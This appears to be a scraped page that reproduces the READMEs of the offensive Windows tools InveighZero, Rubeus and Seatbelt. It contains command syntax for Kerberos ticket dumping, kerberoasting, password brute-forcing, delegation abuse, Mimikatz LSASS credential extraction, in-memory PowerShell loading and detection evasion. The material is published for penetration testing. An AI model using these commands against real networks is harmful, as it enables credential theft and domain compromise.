Reasoning for needed permissions you can find under this discussion.


Copyright

We use some third-party scripts in our add-on. The authors and licenses are listed below.



InveighZero - Windows C# LLMNR/mDNS/NBNS/DNS/DHCPv6 Spoofer/Man-In-The-Middle Tool

$
0
0


InveighZero is a C# LLMNR/NBNS/mDNS/DNS/DHCPv6 spoofer and man-in-the-middle tool designed to assist penetration testers/red teamers that find themselves limited to a Windows system. This version shares many features with the PowerShell version of Inveigh.


Privileged Mode Features (elevated admin required)
  • SMB capture - packet sniffer based
  • LLMNR spoofer - packet sniffer based
  • NBNS spoofer - packet sniffer based
  • mDNS spoofer - packet sniffer based
  • DNS spoofer - packet sniffer based
  • DHCPv6 spoofer - packet sniffer based
  • Pcap output - TCP and UDP packets
  • Packet sniffer console output - SYN packets, SMB kerberos negotiation, etc

Unprivileged Mode Features
  • LLMNR spoofer - UDP listener based
  • NBNS spoofer - UDP listener based
  • mDNS spoofer - UDP listener based
  • DNS spoofer - UDP listener based
  • DHCPv6 spoofer - UDP listener based
  • Note: The NBNS spoofer should work on all systems even with NBNS enabled. The LLMNR and mDNS spoofers seem to work on Windows 10 and Server 2016 with those services already enabled. Firewalls can still get in the way of everything.

Other Features
  • HTTP capture - TCP listener based
  • Proxy auth capture - TCP listener based

Notable Missing Features
  • ADIDNS attacks
  • HTTP to SMB Relay
  • HTTPS listener
  • Kerberos kirbi output

Notable Differences
  • Capture and log data can be imported from previous output files. The PowerShell version stores data in a global variable that persists within the PowerShell instance.
  • InveighZero does not execute in the background. Instead, a console is accessible while InveighZero is running. The console has commands that have similar functionality to Inveigh's Get-Inveigh, Watch-Inveigh, and Stop-Inveigh support functions.

Minimum .NET Version

3.5


Parameters

In most cases, when present, the InveighZero parameters mirror Inveigh's parameters.


Why The Zero In The Name?

Inveigh started as a C# proof of concept before I switched over to PowerShell. The "Zero" is just a reference to the fact that the C# version sort of existed before the PowerShell version. Mainly though, I just needed a unique repo name.


Usage
  • Execute with default settings
    Inveigh.exe

  • Set primary IP
    Inveigh.exe -IP 192.168.1.1

  • Send spoofed traffic to another system
    Inveigh.exe -IP 192.168.1.1 -SpooferIP 192.168.1.2

  • Pcap output for HTTP and SMB
    Inveigh.exe -Pcap Y -PcapTCP 80,445


Screenshots




Rubeus - C# Toolset For Raw Kerberos Interaction And Abuses

$
0
0


Rubeus is a C# toolset for raw Kerberos interaction and abuses. It is heavily adapted from Benjamin Delpy's Kekeo project (CC BY-NC-SA 4.0 license) and Vincent LE TOUX's MakeMeEnterpriseAdmin project (GPL v3.0 license). Full credit goes to Benjamin and Vincent for working out the hard components of weaponization- without their prior work this project would not exist.

Charlie Clark and Ceri Coburn have both made significant contributions to the Rubeus codebase. Elad Shamir contributed some essential work for resource-based constrained delegation. Their work is very appreciated!

Rubeus also uses a C# ASN.1 parsing/encoding library from Thomas Pornin named DDer that was released with an "MIT-like" license. Huge thanks to Thomas for his clean and stable code!

PKINIT code heavily adapted from @SteveSyfuhs's Bruce tool. Bruce made RFC4556 (PKINIT) a lot easier to understand. Huge thanks to Steve!

The KerberosRequestorSecurityToken.GetRequest method for Kerberoasting was contributed to PowerView (and then incorporated into Rubeus) by @machosec.

@harmj0y is the primary author of this code base.

Rubeus is licensed under the BSD 3-Clause license.


Background

Command Line Usage
   ______        _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v1.6.2


Ticket requests and renewals:

Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec]

Retrieve a TGT based on a user password/hash, start a /netonly process, and to apply the ticket to the new process/logon session:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /create netonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec]

Retrieve a service ticket for one or more SPNs, optionally saving or applying the ticket:
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec]

Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]

Perform a Kerberos-based password bruteforcing attack:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain: DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]


Constrained delegation abuse:

Perform S4U constrained delegation abuse:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit]

Perform S4U constrained delegation abuse across domains:
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser :USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self]


Ticket management:

Submit a TGT, optionally targeting a specific LUID (if elevated):
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]

Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated):
Rubeus.exe purge [/luid:LOGINID]

Parse and describe a ticket (service ticket or TGT):
Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI>


Ticket extraction and harvesting:

Triage all current tickets (if elevated, list for all users), optionally targeting a specific LUID, username, or service:
Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]

List all current tickets in detail (if elevated, list for all users), optionally targeting a specific LUID:
Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]

Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:
Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap]

Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:
Rubeus.exe tgtdeleg [/target:SPN]

Monitor every /interval SECONDS (default 60) for new TGTs:
Rubeus.exe monitor [/interval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]

Monitor every /monitorinterval SECONDS (default 60) for new TGTs, auto-renew TGTs, and display the working cache every /displayinterval SECONDS (default 1200):
Rubeus.exe harvest [/monitorinterval:SECONDS] [/displayinterval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS]


Roasting:

Perform Kerberoasting:
Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/nowrap]

Perform Kerberoasting, outputting hashes to a file:
Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]

Perform Kerberoasting, outputting hashes in the file output format, but to the console:
Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/nowrap]

Perform Kerberoasting with alternate credentials:
Rubeus.exe kerberoast /creduser:DOMAIN. FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/nowrap]

Perform Kerberoasting with an existing TGT:
Rubeus.exe kerberoast </spn:"blah/blah" | /spns:C:\temp\spns.txt> </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]

Perform Kerberoasting with an existing TGT using an enterprise principal:
Rubeus.exe kerberoast </spn:user@domain.com | /spns:user1@domain.com,user2@domain.com> /enterprise </ticket:BASE64 | /ticket:FILE.KIRBI> [/nowrap]

Perform Kerberoasting with an existing TGT and automatically retry with the enterprise principal if any fail:
Rubeus.exe kerberoast </ticket:BASE64 | /ticket:FILE.KIRBI> /autoenterprise [/nowrap]

Perform Kerberoasting using the tgtdeleg ticket to request service tickets - requests RC4 for AES accounts:
Rubeus.exe kerberoast /usetgtdeleg [/nowrap]

Perform "opsec" Kerberoasting, using tgtdeleg, and filtering out AES-enabled accounts:
Rubeus.exe kerberoast /rc4opsec [/nowrap]

List statistics about found Kerberoastable accounts without actually sending ticket requests:
Rubeus.exe kerberoast /stats [/nowrap]

Perform Kerberoasting, requesting tickets only for accounts with an admin count of 1 (custom LDAP filter):
Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/nowrap]

Perform Kerberoasting, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 5 service tickets:
Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/nowrap]

Perform Kerberoasting, with a delay of 5000 milliseconds and a jitter of 30%:
Rubeus.exe kerberoast /delay:5000 /jitter:30 [/nowrap]

Perform AES Kerberoasting:
Rubeus.exe k erberoast /aes [/nowrap]

Perform AS-REP "roasting" for any users without preauth:
Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/nowrap]

Perform AS-REP "roasting" for any users without preauth, outputting Hashcat format to a file:
Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]

Perform AS-REP "roasting" for any users without preauth using alternate credentials:
Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU,..."] [/nowrap]


Miscellaneous:

Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID:
Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show]

Reset a user's password from a supplied TGT (AoratoPw):
Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER]

Calculate rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, and des_cbc_md5 hashes:
Rubeus.exe hash /password:X [/user:USER] [/domain:DOMAIN]

Substitute an sname or SPN into an existing service ticket:
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:ldap [/ptt] [/luid] [/nowrap]
Rubeus.exe tgssub </ticket:BASE64 | /ticket:FILE.KIRBI> /altservice:cifs/computer.domain.com [/ptt] [/luid] [/nowrap]

Display the current user's LUID:
Rubeus.exe currentluid

The "/consoleoutfile:C:\FILE.txt" argument redirects all console output to the file specified.

The "/nowrap" flag prevents any base64 ticket blobs from being column wrapped for any function.


NOTE: Base64 ticket blobs can be decoded with :

[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa..."))

Opsec Notes

This section covers some notes on the operational security of using Rubeus in an environment, with some technical examples comparing/contrasting some of its approaches to Mimikatz. The material here will be expanded in the future.


Overview

Any action you perform on a system is a detectable risk, especially when abusing functionality in "weird"/unintended ways. Rubeus (like any attacker toolset) can be detected in a number of methods, either from the host, network, or domain perspectives. I have a workmate who is fond of stating "everything is stealthy until someone is looking for it" - tools and techniques generally evade detection because either a) people are not sufficiently aware of the tool/technique and therefore not even looking, b) people can not collect and process the data needed at the appropriate scale, or c) the tool/technique blends with existing behavior to sufficiently sneak in with false positives in an environment. There is much more information on these steps and detection subversion in general in Matt Graeber and Lee Christensen’s Black Hat USA 2018 “Subverting Sysmon” talk and associated whitepaper.

From the host perspective, Rubeus can be caught during initial weaponization of the code itself, by an abnormal (non-lsass.exe) process issuing raw Kerberos port 88 traffic, through the use of sensitive APIs like LsaCallAuthenticationPackage(), or by abnormal tickets being present on the host (e.g. rc4_hmac use in tickets in a modern environment).

From a network or domain controller log perspective, since Rubeus implements many parts of the normal Kerberos protocol, the main detection method involves the use of rc4_hmac in Kerberos exchanges. Modern Windows domains (functional level 2008 and above) use AES encryption by default in normal Kerberos exchanges (with a few exceptions like inter-realm trust tickets). Using a rc4_hmac (NTLM) hash is used in a Kerberos exchange instead of a aes256_cts_hmac_sha1 (or aes128) key results in some signal that is detectable at the host level, network level (if Kerberos traffic is parsed), and domain controller event log level, sometimes known as "encryption downgrade".


Weaponization

One common way attack tools are detected is through the weaponization vector for the code. If Rubeus is run through PowerShell (this includes Empire) the standard PowerShell V5 protections all apply (deep script block logging, AMSI, etc.). If Rubeus is executed as a binary on disk, standard AV signature detection comes into play (part of why we do not release compiled versions of Rubeus, as brittle signatures are silly ; ). If Rubeus is used as a library then it's susceptible to whatever method the primary tool uses to get running. And if Rubeus is run through unmanaged assembl y execution (like Cobalt Strike's execute_assembly) cross-process code injection is performed and the CLR is loaded into a potentially non-.NET process, though this signal is present for the execution of any .NET code using this method.

Also, AMSI (the Antimalware Scan Interface) has been added to .NET 4.8. Ryan Cobb has additional details on the offensive implications of this in the Defense section of his “Entering a Covenant: .NET Command and Control” post.


Example: Credential Extraction

Say we have elevated access on a machine and want to extract user credentials for reuse.

Mimikatz is the swiss army knife of credential extraction, with multiple options. The sekurlsa::logonpasswords command will open up a read handle to LSASS, enumerate logon sessions present on the system, walk the default authentication packages for each logon session, and extract any reverseable password/credential material present. Sidenote: the sekurlsa::ekeys command will enumerate ALL key types present for the Kerberos package.

Rubeus doesn't have any code to touch LSASS (and none is intended), so its functionality is limited to extracting Kerberos tickets through use of the LsaCallAuthenticationPackage() API. From a non-elevated standpoint, the session keys for TGTs are not returned (by default) so only service tickets extracted will be usable (the tgtdeleg command uses a Kekeo trick to get a usable TGT for the current user). If in a high-integrity context, a GetSystem equivalent utilizing token duplication is run to elevate to SYSTEM, and a fake logon application is registered with the LsaRegisterLogonProcess() API call. This allows for privileged enumeration and extraction of all tickets currently registered with LSA on the system, resulting in base64 encoded .kirbi's being output for later reuse.

Mimikatz can perform the same base64 .kirbi extraction with the following series of commands:

mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # standard::base64 /output:true
mimikatz # kerberos::list /export

Mimikatz can also carve tickets directly out of LSASS' memory with:

mimikatz # privilege::debug
mimikatz # standard::base64 /output:true
mimikatz # sekurlsa::tickets /export

As "everything is stealthy until someone is looking for it", it's arguable whether LSASS manipulation or ticket extraction via the LsaCallAuthenticationPackage() API call is more "stealthy". Due to Mimikatz' popularity, opening up a handle to LSASS and reading/writing its memory has become a big target for EDR detection and/or prevention. However, LsaCallAuthenticationPackage() is used by a fairly limited set of processes, and creating a fake logon application with LsaRegisterLogonProcess() is also fairly anomalous behavior. However full API level introspection and baselining appears to be a more difficult technical problem than LSASS protection.


Example: Over-pass-the-hash

Say we recover a user's rc4_hmac hash (NTLM) and want to reuse this credential to compromise an additional machine where the user account has privileged access.

Sidenote:pass-the-hash != over-pass-the-hash. The traditional pass-the-hash technique involves reusing a hash through the NTLMv1/NTLMv2 protocol, which doesn't touch Kerberos at all. The over-pass-the-hash approach was developed by Benjamin Delpy and Skip Duckwall (see their "Abusing Microsoft Kerberos - Sorry you guys don't get it" presentation for more information). This approach turns a hash/key (rc4_hmac, aes256_cts_hmac_sha1, etc.) for a domain-joined user i nto a fully-fledged ticket-granting-ticket (TGT).

Let's compare "over-passing-the-hash" via Mimikatz' sekurlsa::pth command verus using the asktgt command from Rubeus (or Kekeo if you'd like).

When sekurlsa::pth is used to over-pass-the-hash, Mimikatz first creates a new logon type 9 process with dummy credentials - this creates a new "sacrificial" logon session that doesn't interact with the current logon session. It then opens the LSASS process with the ability to write to process memory, and the supplied hash/key is then patched into the appropriate section for the associated logon session (in this case, the "sacrificial" logon session that was started). This causes the normal Kerberos authentication process to kick off as normal as if the user had normally logged on, turning the supplied hash into a fully-fledged TGT.

When Rubeus' asktgt command is run (or Kekeo's equivalent), the raw Kerberos protocol is used to request a TGT, which is then applied to the current logon session if the /ptt flag is passed.

With the Mimikatz approach, administrative rights are needed as you are manipulating LSASS memory directly. As previously mentioned, Mimikatz' popularity has also led to this type of behavior (opening up a handle to LSASS and reading/writing its memory) being a big target for EDR detection and/or prevention. With the Rubeus/Kekeo approach, administrative rights are not needed as LSASS is not being touched. However, if the ticket is applied to the current logon session (with /ptt), the TGT for the current logon session will be overwritten. This behavior can be avoided (with administrative access) by using the /createnetonly command to create a sacrificial process/logon session, then using /ptt /ticket:X /luid:0xa.. with the newly created process LUID. If using Cobalt Strike, using the make_token command with dummy credentials and then kerberos_ticket_use with the ticket retrieved by Rubeus will let you apply t he new TGT in a way that a) doesn't need administrative rights and b) doesn't stomp on the current logon session TGT.

It is our opinion that the LSASS manipulation approach is more likely (at the current moment) to be detected or mitigated due to the popularity of the technique. However the Rubeus approach does result in another piece of detectable behavior. Kerberos traffic to port 88 should normally only originate from lsass.exe - sending raw traffic of this type from an abnormal process could be detectable if the information can be gathered.

Sidenote: one way both approaches can potentially be caught is the previously mentioned "encryption downgrade" detection. To retrieve AES keys, use Mimikatz' sekurlsa::ekeys module to return ALL Kerberos encryption keys (same with lsadump::dcsync) which are better to use when trying to evade some detections.


Compile Instructions

We are not planning on releasing binaries for Rubeus, so you will have to compile yourself :)

Rubeus has been built against .NET 3.5 and is compatible with Visual Studio 2019 Community Edition. Simply open up the project .sln, choose "Release", and build.


Targeting other .NET versions

Rubeus' default build configuration is for .NET 3.5, which will fail on systems without that version installed. To target Rubeus for .NET 4 or 4.5, open the .sln solution, go to Project -> Rubeus Properties and change the "Target framework" to another version.


Sidenote: Building Rubeus as a Library

To build Rubeus as a library, under Project -> Rubeus Properties -> change Output type to Class Library. Compile, and add the Rubeus.dll as a reference to whatever project you want. Rubeus functionality can then be invoked as in a number of ways:

// pass the Main method the arguments you want
Rubeus.Program.Main("dump /luid:3050142".Split());

// or invoke specific functionality manually
Rubeus.LSA.ListKerberosTicketDataAllUsers(new Rubeus.Interop.LUID());

You can then use ILMerge to merge the Rubeus.dll into your resulting project assembly for a single, self-contained file.


Sidenote: Running Rubeus Through PowerShell

If you want to run Rubeus in-memory through a PowerShell wrapper, first compile the Rubeus and base64-encode the resulting assembly:

[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\Rubeus.exe")) | Out-File -Encoding ASCII C:\Temp\rubeus.txt

Rubeus can then be loaded in a PowerShell script with the following (where "aa..." is replaced with the base64-encoded Rubeus assembly string):

$RubeusAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))

The Main() method and any arguments can then be invoked as follows:

[Rubeus.Program]::Main("dump /user:administrator".Split())

Or individual functions can be invoked:

$TicketBytes = [convert]::FromBase64String('BASE64_KERB_TICKET')
# start mmc.exe as netonly, not-hidden
$LogonID = [Rubeus.Helpers]::CreateProcessNetOnly("mmc.exe", $true)
# apply the ticket to mmc's logon session
[Rubeus.LSA]::ImportTicket($TicketBytes, $LogonID)

Sidenote Sidenote: Running Rubeus Over PSRemoting

Due to the way PSRemoting handles output, we need to redirect stdout to a string and return that instead. Luckily, Rubeus has a function to help with that.

If you follow the instructions in Sidenote: Running Rubeus Through PowerShell to create a Rubeus.ps1, append something like the following to the script:

[Rubeus.Program]::MainString("triage")

You should then be able to run Rubeus over PSRemoting with something like the following:

$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\Rubeus.ps1

Alternatively, Rubeus' /consoleoutfile:C:\FILE.txt argument will redirect all output streams to the specified file.



Seatbelt - A C# Project That Performs A Number Of Security Oriented Host-Survey "Safety Checks" Relevant From Both Offensive And Defensive Security Perspectives

$
0
0


Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.

@andrewchiles' HostEnum.ps1 script and @tifkin_'s Get-HostProfile.ps1 provided inspiration for many of the artifacts to collect.

@harmj0y and @tifkin_ are the primary authors of this implementation.

Seatbelt is licensed under the BSD 3-Clause license.


Command Line Usage


%&&@@@&&
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
#####%###################### %%%.. @////(((&%%%%%%%################
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
&%%&&&%%%%% v1.1.1 ,(((&%%%%%%%%%%%%%%%%%,
#%%%%##,


Available commands (+ means remote usage is supported):

+ AMSIProviders - Providers registered for AMSI
+ AntiVirus - Registered antivirus (via WMI)
+ AppLocker - AppLocker settings, if installed
ARPTable - Lists the current ARP table and adapter information (equivalent to arp -a)
AuditPolicies - Enumerates classic and advanced audit policy settings
+ AuditPolicyRegistry - Audit settings via the registry
+ AutoRuns - Auto run executables/scripts/programs
+ ChromiumBookmarks - Parses any found Chrome/Edge/Brave/Opera bookmark files
+ ChromiumHistory - Parses any found Chrome/Edge/Brave/Opera history files
+ ChromiumPresence - Checks if interesting Chrome/Edge/Brave/Opera files exist
+ CloudCredentials - AWS/Google/Azure/Bluemix cloud credential files
+ CloudSyncProviders - All configured Office 365 endpoints (tenants and teamsites) which are synchronised by OneDrive.
CredEnum - Enumerates the current user's saved credentials using CredEnumerate()
+ CredGuard - CredentialGuard configuration
dir - Lists files/folders. By default, lists users' downloads, documents, and desktop folders (arguments == [directory] [depth] [regex] [boolIgnoreErrors]
+ DNSCache - DNS cache entries (via WMI)
+ DotNet - DotNet versions
+ DpapiMasterKeys - List DPAPI master keys
EnvironmentPath - Current environment %PATH$ folders and SDDL information
+ EnvironmentVariables - Current environment variables
+ ExplicitLogonEvents - Explicit Logon events (Event ID 4648) from the security event log. Default of 7 days, argument == last X days.
ExplorerMRUs - Explorer most recently used files (last 7 days, argument == last X days)
+ ExplorerRunCommands - Recent Explorer "run" commands
FileInfo - Information about a file (version information, timestamps, basic PE info, etc. argument(s) == file path(s)
+ FileZilla - FileZilla configuration files
+ FirefoxHistory - Parses any found FireFox history files
+ FirefoxPresence - Checks if interesting Firefox files exist
+ Hotfixes - Installed hotfixes (via WMI)
IdleTime - Returns the number of seconds since the current user's last input.
+ IEFavorites - Internet Explorer favorites
IETabs - Open Internet Explorer tabs
+ IEUrls - Internet Explorer typed URLs (last 7 days, argument == last X days)
+ InstalledProducts - Installed products via the registry
InterestingFiles - "Interesting" files matching various patterns in the user's folder. Note: takes non-trivial time.
+ InterestingProcesses - "Interesting" processes - defensive products and admin tools
InternetSettings - Internet settings including proxy configs and zones configuration
KeePass - Finds KeePass configuration files
+ LAPS - LAPS settings, if installed
+ LastShutdown - Returns the DateTime of the last system shutdown (via the registry).
LocalGPOs - Local Group Policy settings applied to the machine/local users
+ LocalGroups - Non-empty local groups, "-full" displays all groups (argument == computername to enumerate)
+ LocalUsers - Local users, whether they're active/disabled, and pwd last set (argument == computername to enumerate)
+ LogonEvents - Logon events (Event ID 4624) from the security event log. Default of 10 days, argument == last X days.
+ LogonSessions - Windows logon sessions
LOLBAS - Locates Living Off The Land Binaries and Scripts (LOLBAS) on the system. Note: takes non-trivial time.
+ LSASettings - LSA settings (including auth packages)
+ MappedDrives - Users' mapped drives (via WMI)
McAfeeConfigs - Finds McAfee configuration files
McAfeeSiteList - Decrypt any found McAfee SiteList.xml configuration files.
MicrosoftUpdates - All Microsoft updates (via COM)
NamedPipes - Named pipe names and any readable ACL information.
+ NetworkProfiles - Windows network profiles
+ NetworkShares - Network shares exposed by the machine (via WMI)
+ NTLMSettings - NTLM authentication settings
OfficeMRUs - Office most recently used file list (last 7 days)
OracleSQLDeveloper - Finds Oracle SQLDeveloper connections.xml files
+ OS Info - Basic OS info (i.e. architecture, OS version, etc.)
+ OutlookDownloads - List files downloaded by Outlook
+ PoweredOnEvents - Reboot and sleep schedule based on the System event log EIDs 1, 12, 13, 42, and 6008. Default of 7 days, argument == last X days.
+ PowerShell - PowerShell versions and security settings
+ PowerShellEvents - PowerShell script block logs (4104) with sensitive data.
+ PowerShellHistory - Searches PowerShell console history files for sensitive regex matches.
Printers - Installed Printers (via WMI)
+ ProcessCreationEvents - Process creation logs (4688) with sensitive data.
Processes - Running processes with file info company names that don't contain 'Microsoft', "-full" enumerates all processes
+ ProcessOwners - Running non-session 0 process list with owners. For remote use.
+ PSSession Settings - Enumerates PS Session Settings from the registry
+ PuttyHostKeys - Saved Putty SSH host keys
+ PuttySessions - Saved Putty configuration (interesting fields) and SSH host keys
RDCManFiles - Windows Remote Desktop Connection Manager settings files
+ RDPSavedConnections - Saved RDP connections stored in the registry
+ RDPSessions - Current incoming RDP sessions (argument == computername to enumerate)
+ RDPsettings - Remote Desktop Server/Client Settings
RecycleBin - Items in the Recycle Bin deleted in the last 30 days - only works from a user context!
reg - Registry key values (HKLM\Software by default) argument == [Path] [intDepth] [Regex] [boolIgnoreErrors]
RPCMappedEndpoints - Current RPC endpoints mapped
+ SCCM - System Center Configuration Manager (SCCM) settings, if appli cable
+ ScheduledTasks - Scheduled tasks (via WMI) that aren't authored by 'Microsoft', "-full" dumps all Scheduled tasks
SearchIndex - Query results from the Windows Search Index, default term of 'passsword'. (argument(s) == <search path> <pattern1,pattern2,...>
SecPackageCreds - Obtains credentials from security packages
SecurityPackages - Enumerates the security packages currently available using EnumerateSecurityPackagesA()
Services - Services with file info company names that don't contain 'Microsoft', "-full" dumps all processes
+ SlackDownloads - Parses any found 'slack-downloads' files
+ SlackPresence - Checks if interesting Slack files exist
+ SlackWorkspaces - Parses any found 'slack-workspaces' files
+ SuperPutty - SuperPutty configuration files
+ Sysmon - Sysmon configuration from the registry
+ SysmonEvents - Sysmon process creation logs (1) with sensitive data.
TcpConnections - Current TCP connections and their associated processes and services
TokenGroups - The current token's local and domain groups
TokenPrivileges - Currently enabled token privileges (e.g. SeDebugPrivilege/etc.)
+ UAC - UAC system policies via the registry
UdpConnections - Current UDP connections and associated processes and services
UserRightAssignments - Configured User Right Assignments (e.g. SeDenyNetworkLogonRight, SeShutdownPrivilege, etc.) argument == computername to enumerate
+ WindowsAutoLogon - Registry autologon information
WindowsCredentialFiles - Windows credential DPAPI blobs
+ WindowsDefender - Windows Defender settings (including exclusion locations)
+ WindowsEventForwarding - Windows Event Forwarding (WEF) settings via the registry
+ WindowsFirewall - Non-standard firewall rules, "-full" dumps all (arguments == allow/deny/tcp/udp/in/out/domain/private/public)
WindowsVault - Credentials saved in the Windows Vault (i.e. logins from Internet Explorer and Edge).
WMIEventConsumer - Lists WMI Event Consumers
WMIEventFilter - Lists WMI Event Filters
WMIFilterBinding - Lists WMI Filter to Consumer Bindings
+ WSUS - Windows Server Update Services (WSUS) settings, if applicable


Seatbelt has the following command groups: All, User, System, Slack, Chromium, Remote, Misc

You can invoke command groups with "Seatbelt.exe <group>"

"Seatbelt.exe -group=all" runs all commands

"Seatbelt.exe -group=user" runs the following commands:

ChromiumPresence, CloudCredentials, CloudSyncProviders, CredEnum, dir,
DpapiMasterKeys, ExplorerMRUs, ExplorerRunCommands, FileZilla,
FirefoxPresence, IdleTime, IEFavorites, IETabs,
IEUrls, KeePass, MappedDrives, OfficeMRUs,
OracleSQLDeveloper, PowerShellHistory, PuttyHostKeys, PuttySessions,
RDCManFiles, RDPSavedConnections, SecPackageCreds, SlackDownloads,
SlackPresence, SlackWorkspaces, SuperPutty, TokenGroups,
WindowsCredentialFiles, WindowsVault

"Seatbelt.exe -group=system" runs the following commands:

AMSIProviders, AntiVirus, AppLocker, ARPTable, AuditPolicies,
AuditPolicyRegistry, AutoRuns, CredGuard, DNSCache,
DotNet, EnvironmentPath, EnvironmentVariables, Hotfixes,
InterestingProcesses, InternetSettings, LAPS, LastShutdown,
